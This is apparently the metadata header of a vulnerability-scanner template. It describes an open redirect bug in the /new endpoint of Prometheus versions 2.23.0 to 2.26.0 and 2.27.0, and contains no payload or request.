info:
  name: Prometheus v2.23.0 to v2.26.0, and v2.27.0 Open Redirect
  author: geeknik
  description: In 2.23.0, Prometheus changed its default UI to the New ui. To ensure a seamless transition, the URL's prefixed by /new redirect to /. Due to a bug in the code, it is possible for an attacker to craft an URL that can redirect to any other URL, in the /new endpoint.
